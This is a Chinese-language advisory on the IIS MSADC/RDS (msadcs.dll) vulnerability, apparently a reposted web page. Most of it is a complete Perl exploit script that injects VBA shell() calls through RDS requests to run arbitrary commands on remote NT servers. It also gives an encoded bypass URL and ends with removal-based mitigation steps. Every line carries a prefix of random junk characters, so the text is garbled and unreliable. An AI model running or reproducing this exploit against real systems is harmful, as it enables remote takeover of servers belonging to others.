IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
sw+vyBV)r 5+[ 3@ 涉及程序:
M`p[ Zq Microsoft NT server
X=jHH=</ 7x#."6>Dy 描述:
i,!t u 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Y|cj&<o T\w{&3ONm 详细:
}6!m Q 如果你没有时间读详细内容的话,就删除:
_~bG[lX ! c:\Program Files\Common Files\System\Msadc\msadcs.dll
mr>dZ) 有关的安全问题就没有了。
ffR<G&"n~b z!aU85y 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
nrKir +g&M@8XO& 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Vp1Ff 关于利用ODBC远程漏洞的描述,请参看:
s'/ZtH6>C RC!9@H5S# http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm yq12"Rs ET;-'vd 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
''H;/&nDX http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6e%ZNw{#= eI1C0Uz1
这里不再论述。
?g4S51zpp l7#2
e ORm 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
65l9dM2 w^MiyX /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&] O^d4/ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
X#Hl<d2
`\yQn7 Oq Qv]>L4PO #将下面这段保存为txt文件,然后: "perl -x 文件名"
1F R *_@$"9 #!perl
X3m) #
M\9+? # MSADC/RDS 'usage' (aka exploit) script
,:8oVq>? #
$0*D7P^8 # by rain.forest.puppy
/_r` A #
AI]lG]q8 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
B/I1<%Yk # beta test and find errors!
v.F|8 cG kL"Y>@H use Socket; use Getopt::Std;
#6@4c5{2=4 getopts("e:vd:h:XR", \%args);
\G2PK&)F K"8! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#N'bhs !+(H(,gI if (!defined $args{h} && !defined $args{R}) {
=-]NAj\ print qq~
aSIoq}c( Usage: msadc.pl -h <host> { -d <delay> -X -v }
h/]));p -h <host> = host you want to scan (ip or domain)
dg#w!etB -d <seconds> = delay between calls, default 1 second
R%"'k<`# -X = dump Index Server path table, if available
PAXm -v = verbose
:"gu=u! -e = external dictionary file for step 5
K_%gda|l+ HjY! ]!4p Or a -R will resume a command session
(w` j?c1 [I,s: mn ~; exit;}
DDe`Lb%% _8e0vi!~2 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
GYtp%<<9; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
]QJ7q} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
84/#,X!=s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
l:*.0Tj $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-'T^gEd)c if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
C?g<P0h -nY_.fp> if (!defined $args{R}){ $ret = &has_msadc;
uOPLJ?% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
8aTo
TA7JA \f'= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
kV4,45r . "cmd /c ";
"] ]aF1 $in=<STDIN>; chomp $in;
~0rvrDDg $command="cmd /c " . $in ;
0(Hzh?t_ <sG}[:v if (defined $args{R}) {&load; exit;}
dst!VO:
M {dwlW`{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
RO| }WD) &try_btcustmr;
D{6<,#P{w M=4`^.Ocm print "\nStep 2: Trying to make our own DSN...";
T!-ly7-` &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
w[#*f?at~ 3x>Y print "\nStep 3: Trying known DSNs...";
f1
`E- &known_dsn;
JG@Zb}b xn anca print "\nStep 4: Trying known .mdbs...";
?N&s. &known_mdb;
1ezBnZJg w,LB if (defined $args{e}){
cG{ print "\nStep 5: Trying dictionary of DSN names...";
tNljv >vI &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
])?[9c |CPyCM$ print "Sorry Charley...maybe next time?\n";
:A5h<=[ exit;
3-BC4y/ =d/$B!t{ ##############################################################################
P?Kg7m W XO}SPf- sub sendraw { # ripped and modded from whisker
!UHX?<3r sleep($delay); # it's a DoS on the server! At least on mine...
yeA]j[ # my ($pstr)=@_;
3g5D[>J' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
A}i>ys die("Socket problems\n");
FY
pspv?4 if(connect(S,pack "SnA4x8",2,80,$target)){
V^_U=Ed@M select(S); $|=1;
#lF 2qw print $pstr; my @in=<S>;
G4uA&"OE select(STDOUT); close(S);
,;n[_f return @in;
lD$\t/8B } else { die("Can't connect...\n"); }}
,,G'Zur7 s3=slWY= ##############################################################################
r ?z}TtDp S7b7zJ8A sub make_header { # make the HTTP request
XV1XzG# C my $msadc=<<EOT
`Dp4Z>|
K POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.>p.k*vU User-Agent: ACTIVEDATA
R#!Urhh Host: $ip
7,Y+FZ Content-Length: $clen
7V&ly{</ Connection: Keep-Alive
luJNdA:t& De<i
8/^= ADCClientVersion:01.06
GjbOc Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Kf`/ Gc! [Xww`OUsh --!ADM!ROX!YOUR!WORLD!
3e1%G#fu Content-Type: application/x-varg
[ ^gb6W9Y Content-Length: $reqlen
&;U
F, p,14'HS%@ EOT
I7W?}bR*6 ; $msadc=~s/\n/\r\n/g;
m,&2s-v return $msadc;}
1^2]~R9,9 J7@Q;gcl: ##############################################################################
d3NER} f4V %2'Y@AX` sub make_req { # make the RDS request
zpg512\y my ($switch, $p1, $p2)=@_;
{FR+a** my $req=""; my $t1, $t2, $query, $dsn;
9Dd`x7$a g|M>C:ZT if ($switch==1){ # this is the btcustmr.mdb query
q siV $query="Select * from Customers where City=" . make_shell();
z&z5EtFUTh $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
,r;E[k@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
p]jG
,S `bWc<4T elsif ($switch==2){ # this is general make table query
@{ L|&Mk! $query="create table AZZ (B int, C varchar(10))";
bjq.nn<= $dsn="$p1";}
o)8VJ\ & kArF Gb2c elsif ($switch==3){ # this is general exploit table query
O;.DQ $query="select * from AZZ where C=" . make_shell();
"
"S&zN $dsn="$p1";}
B5[As8Sa M-(,*6Q elsif ($switch==4){ # attempt to hork file info from index server
1jd.tup $query="select path from scope()";
%yK- Q,'O $dsn="Provider=MSIDXS;";}
\W|ymV_Ki r(<91~Ww elsif ($switch==5){ # bad query
3gv?rJV $query="select";
r9p ((ir $dsn="$p1";}
I_|W'%N] &_' evZ8 $t1= make_unicode($query);
V!s#xXD } $t2= make_unicode($dsn);
n>,? V3ly $req = "\x02\x00\x03\x00";
f/{ClP. $req.= "\x08\x00" . pack ("S1", length($t1));
f'Rq#b@ $req.= "\x00\x00" . $t1 ;
d"S\j@ $req.= "\x08\x00" . pack ("S1", length($t2));
_p<wATv?7t $req.= "\x00\x00" . $t2 ;
HcpAp]L) $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
$5@[l5cJU; return $req;}
]ClqX;'weJ CHDt^(oa!B ##############################################################################
D4*_/,} Mtn{63cK sub make_shell { # this makes the shell() statement
uJa.]J~L= return "'|shell(\"$command\")|'";}
<&HHo>rl ]+>Kl>@ ##############################################################################
0CI\Yd= %K0Wm#) sub make_unicode { # quick little function to convert to unicode
e@PY(#ru my ($in)=@_; my $out;
sHQO*[[ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
9TEAM<b; return $out;}
J\Tu=f) vnqLcNB H ##############################################################################
3bHB$n (W#^-*$R sub rdo_success { # checks for RDO return success (this is kludge)
rpEN\S%7P my (@in) = @_; my $base=content_start(@in);
~SI G0U8 if($in[$base]=~/multipart\/mixed/){
)U{\c2b return 1 if( $in[$base+10]=~/^\x09\x00/ );}
hLT?aQLx return 0;}
H%{k.#O :bkmm,%O ##############################################################################
-X-sykDm }/jWa|)f sub make_dsn { # this makes a DSN for us
gI/(hp3ob my @drives=("c","d","e","f");
{uxTgX print "\nMaking DSN: ";
I(j$^DA. foreach $drive (@drives) {
>|mZu)HIY; print "$drive: ";
8Ep! my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
3teP6|K'g "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
xdMY2u . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
z7pw~Tqlz $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
eKRE1DK return 0 if $2 eq "404"; # not found/doesn't exist
biRkqc; if($2 eq "200") {
ADA}_|O foreach $line (@results) {
kpMo7n return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
#!P>.". } return 0;}
(/ -90u sYB2{w
##############################################################################
"oh;?gQ. z~ua#(z1S sub verify_exists {
V14+?L my ($page)=@_;
GQ sE5Vb my @results=sendraw("GET $page HTTP/1.0\n\n");
SQ<{X/5 return $results[0];}
27MwZz F:A Vik ##############################################################################
z Ece>=C }taG/kE62 sub try_btcustmr {
7@&kPh}PG my @drives=("c","d","e","f");
^_BjO(b'e my @dirs=("winnt","winnt35","winnt351","win","windows");
4h
T!DS cGlpJ)'-{ foreach $dir (@dirs) {
8YQ7XB print "$dir -> "; # fun status so you can see progress
`chD*@76I foreach $drive (@drives) {
=&m;5R
print "$drive: "; # ditto
[EK@f,iM $reqlen=length( make_req(1,$drive,$dir) ) - 28;
83VFBY2q $reqlenlen=length( "$reqlen" );
R`,|08E $clen= 206 + $reqlenlen + $reqlen;
.etG>tH yTf/]H]d my @results=sendraw(make_header() . make_req(1,$drive,$dir));
u5Mg if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
uvi&! )x else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
g"\JiBb5 )!;20Po ##############################################################################
N|/gwcKe E@-5L9eJ\ sub odbc_error {
gw$?&[wY my (@in)=@_; my $base;
arvKJmD my $base = content_start(@in);
R:[#OH.c if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
H#G3CD2& $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7c8`D;A-K $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y[GqV_~?Y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t+M'05-U2 return $in[$base+4].$in[$base+5].$in[$base+6];}
;O~%y' print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
QY*F(S,\ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M^G9t*I $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9U3 .=J <@c@`K ##############################################################################
g!Ui|]BI9 # hw;aQ sub verbose {
(Dn1Eov my ($in)=@_;
h<qi[d4X return if !$verbose;
kV4L4yE print STDOUT "\n$in\n";}
+}eK8>2 c= aZ[ ##############################################################################
E&)o.l<h| m ;wj|@cF sub save {
%CqG/ol my ($p1, $p2, $p3, $p4)=@_;
_|#P~Ft
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
m= %KaRI print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
;D@ F close OUT;}
bD?gwhAKA 8t|?b ##############################################################################
! vuun | 6XnUs1O sub load {
o\fPZ`p-m~ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
RFq=`/>dG open(IN,"<rds.save") || die("Couldn't open rds.save\n");
X.ZG-TC @p=<IN>; close(IN);
Ml/K~H
tN $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[7 t $target= inet_aton($ip) || die("inet_aton problems");
Z_>:p^id print "Resuming to $ip ...";
->Fsmb+R $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
U&SSc@of if($p[1]==1) {
9t8ccr $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
A,c_ME+DVB $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
O`Htdnu my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
SZ:R~4 A if (rdo_success(@results)){print "Success!\n";}
zoBp02j else { print "failed\n"; verbose(odbc_error(@results));}}
r4fd@<=g elsif ($p[1]==3){
g[;&_gL if(run_query("$p[3]")){
;u<F,o( print "Success!\n";} else { print "failed\n"; }}
Swgvj(y;!A elsif ($p[1]==4){
V7vojm4O if(run_query($drvst . "$p[3]")){
]#7baZ print "Success!\n"; } else { print "failed\n"; }}
w:](F^<s, exit;}
v~0lZe =w<iYO ##############################################################################
,V''?@ u++a0>N sub create_table {
4tSh.qBht my ($in)=@_;
~+PK Ws'}F $reqlen=length( make_req(2,$in,"") ) - 28;
lB7/oa1]> $reqlenlen=length( "$reqlen" );
iz+,,UH $clen= 206 + $reqlenlen + $reqlen;
}4Q3S1|U my @results=sendraw(make_header() . make_req(2,$in,""));
X @/X65=[ return 1 if rdo_success(@results);
,V)hV@Dk my $temp= odbc_error(@results); verbose($temp);
w9Nk8OsL return 1 if $temp=~/Table 'AZZ' already exists/;
@P h'! return 0;}
]qx!51S ^;$9>yi1 ##############################################################################
v7v> q?8#D sub known_dsn {
|w -s{L3@+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
rEWuWv$ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"$q"Kilj% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ob/HO(h3 "banner", "banners", "ads", "ADCDemo", "ADCTest");
oWggh3eXk dvglh?7d foreach $dSn (@dsns) {
!:~C/B{ print ".";
QaXdO=3 next if (!is_access("DSN=$dSn"));
[=:4^S|M if(create_table("DSN=$dSn")){
N9vNSmm print "$dSn successful\n";
wQM( |@zE} if(run_query("DSN=$dSn")){
)ri'W
<l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$?9u;+jIR print "Something's borked. Use verbose next time\n";}}} print "\n";}
]SN5&S COD^osM@ ##############################################################################
2\gbciJ[{( (~(FQ:L%U sub is_access {
swMR+F#u* my ($in)=@_;
S<5.}c R $reqlen=length( make_req(5,$in,"") ) - 28;
mn(MgJKQ\ $reqlenlen=length( "$reqlen" );
ANR611-a $clen= 206 + $reqlenlen + $reqlen;
) P|/<>z my @results=sendraw(make_header() . make_req(5,$in,""));
V1A7hRjxvG my $temp= odbc_error(@results);
yK mHTjX= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3Q,p, return 0;}
McN'J.Sxp l a_ ##############################################################################
^plP1c: R5 EC/@ sub run_query {
v4\
m9Pu4 my ($in)=@_;
Ey_mK\' $reqlen=length( make_req(3,$in,"") ) - 28;
WK.,q># $reqlenlen=length( "$reqlen" );
nVGOhYn $clen= 206 + $reqlenlen + $reqlen;
\_+Af` my @results=sendraw(make_header() . make_req(3,$in,""));
UaHN*@ return 1 if rdo_success(@results);
fUJe{C<H my $temp= odbc_error(@results); verbose($temp);
5!6}g<z&L return 0;}
f%REN3=5K GB}X ##############################################################################
y;hco vVo# nzeZ5 sub known_mdb {
4 ijZQ my @drives=("c","d","e","f","g");
vmW`}FKW my @dirs=("winnt","winnt35","winnt351","win","windows");
4Cvo^k/I my $dir, $drive, $mdb;
(e<p^TJ] my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l_fERp#y W61:$y}8 # this is sparse, because I don't know of many
0b2; my @sysmdbs=( "\\catroot\\icatalog.mdb",
w_Z*X5u "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
sZokiFJ "\\system32\\certmdb.mdb",
-Q1~lN m: "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
b+BX >$ 0%3T'N% my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
WhV>]B2+" "\\cfusion\\cfapps\\forums\\forums_.mdb",
:5:_Dr< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
w aDJ "\\cfusion\\cfapps\\security\\realm_.mdb",
|8\et "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q}#H|@ "\\cfusion\\database\\cfexamples.mdb",
>~&7D`O "\\cfusion\\database\\cfsnippets.mdb",
p\xsW"=8q "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
,UD5>Ai "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
?_/T$b] "\\cfusion\\brighttiger\\database\\cleam.mdb",
uJ,I6P~9 "\\cfusion\\database\\smpolicy.mdb",
WW~QK2o-@ "\\cfusion\\database\cypress.mdb",
b~K-mjJI "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
u_$Spbc]/ "\\website\\cgi-win\\dbsample.mdb",
6<UI%X "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[wJl]i "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
QSOJHRl=C ); #these are just
jF5oc foreach $drive (@drives) {
L/O:V^1 foreach $dir (@dirs){
1:"ZS ]i foreach $mdb (@sysmdbs) {
TJb&f< print ".";
4_\]zhS if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
vpk~,D07yR print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
1{wOjq(4 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
2K2jko9'a print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
l"
H/PB<. } else { print "Something's borked. Use verbose next time\n"; }}}}}
n\YWWW[wf d.NB@[?* foreach $drive (@drives) {
iHyA;'!Os foreach $mdb (@mdbs) {
qV@H u/; print ".";
3.
g-V
if(create_table($drv . $drive . $dir . $mdb)){
j<i:rk| print "\n" . $drive . $dir . $mdb . " successful\n";
VHU,G+ms if(run_query($drv . $drive . $dir . $mdb)){
bJ6v5YA% print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
GZ"J6/0-| } else { print "Something's borked. Use verbose next time\n"; }}}}
sT"{ e7;F; }
N_E:?Jo y#e<]5I ##############################################################################
O[&G6+ [0n&?<< sub hork_idx {
fOO[`"'Pq print "\nAttempting to dump Index Server tables...\n";
eadY(-4|I- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
5W?r04 $reqlen=length( make_req(4,"","") ) - 28;
+'?axv6e $reqlenlen=length( "$reqlen" );
%MN>b[z
$clen= 206 + $reqlenlen + $reqlen;
fehM{)x2: my @results=sendraw2(make_header() . make_req(4,"",""));
2 lBu"R 6} if (rdo_success(@results)){
rjT!S1Hs my $max=@results; my $c; my %d;
4_?*@L1 for($c=19; $c<$max; $c++){
e+O0l $results[$c]=~s/\x00//g;
Jm
G)=$, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
u|E9X[% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
5,WDmhJ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*:V"C\`^n $d{"$1$2"}="";}
aAkO>X%[ foreach $c (keys %d){ print "$c\n"; }
1He'\/# } else {print "Index server doesn't seem to be installed.\n"; }}
RIxGwMi% @Tf5YZ* ##############################################################################
E+E.z?>S |Ok1E sub dsn_dict {
uY=}w"Db open(IN, "<$args{e}") || die("Can't open external dictionary\n");
7~ok*yG w while(<IN>){
q
oVp@=\:" $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
|70Lh+ next if (!is_access("DSN=$dSn"));
:+|os" if(create_table("DSN=$dSn")){
D|!^8jHj print "$dSn successful\n";
zLLe3?8: if(run_query("DSN=$dSn")){
_ ;_NM5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E&RK My) print "Something's borked. Use verbose next time\n";}}}
'B4j=K* print "\n"; close(IN);}
fj])
&+Pcu5 ##############################################################################
]w|,n2DG u-E*_%y sub sendraw2 { # ripped and modded from whisker
KcX] g*wy sleep($delay); # it's a DoS on the server! At least on mine...
@~<M_63 my ($pstr)=@_;
cLe659 & socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{EGm6WSQ^ die("Socket problems\n");
w`Js"_\ if(connect(S,pack "SnA4x8",2,80,$target)){
9:l>FoXS print "Connected. Getting data";
QK%6Ncv open(OUT,">raw.out"); my @in;
``mW\=fe select(S); $|=1; print $pstr;
/8w
_jjW while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$ OMGo`z close(OUT); select(STDOUT); close(S); return @in;
fhp][)g; } else { die("Can't connect...\n"); }}
38T2IN ~?n)1Vr| ##############################################################################
r$~
f[cA <ib#PLRM sub content_start { # this will take in the server headers
y2eeE CS] my (@in)=@_; my $c;
Awad!_VdHS for ($c=1;$c<500;$c++) {
cC6W1K! if($in[$c] =~/^\x0d\x0a/){
G.a^nQ@e% if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
L7tC?F]}SK else { return $c+1; }}}
s9Aq-N return -1;} # it should never get here actually
fu 95-)M 0@ 9em~ ##############################################################################
64OgE! Vee`q. sub funky {
%maLo RJ my (@in)=@_; my $error=odbc_error(@in);
;yO7!{_ if($error=~/ADO could not find the specified provider/){
+<P%v k print "\nServer returned an ADO miscofiguration message\nAborting.\n";
')/yBH9mR exit;}
T=w5FT if($error=~/A Handler is required/){
EV 8}C= print "\nServer has custom handler filters (they most likely are patched)\n";
D-BWgK exit;}
',yY if($error=~/specified Handler has denied Access/){
tc'`4O]c8 print "\nServer has custom handler filters (they most likely are patched)\n";
L
59q\_| exit;}}
@iwg`j6ol czf|c ##############################################################################
r}y]B\/ NQ@."8 sub has_msadc {
RvF6bIqo my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
T.zUerbO my $base=content_start(@results);
%Ln7{w return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
}pa@qZXh return 0;}
t*zBN!Wu_ V[Jd1T ########################
X|F([,o -$4#eG%3 PXk+Vi,%k 解决方案:
"1H?1"w~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
nkp!kqJ09 2、移除web 目录: /msadc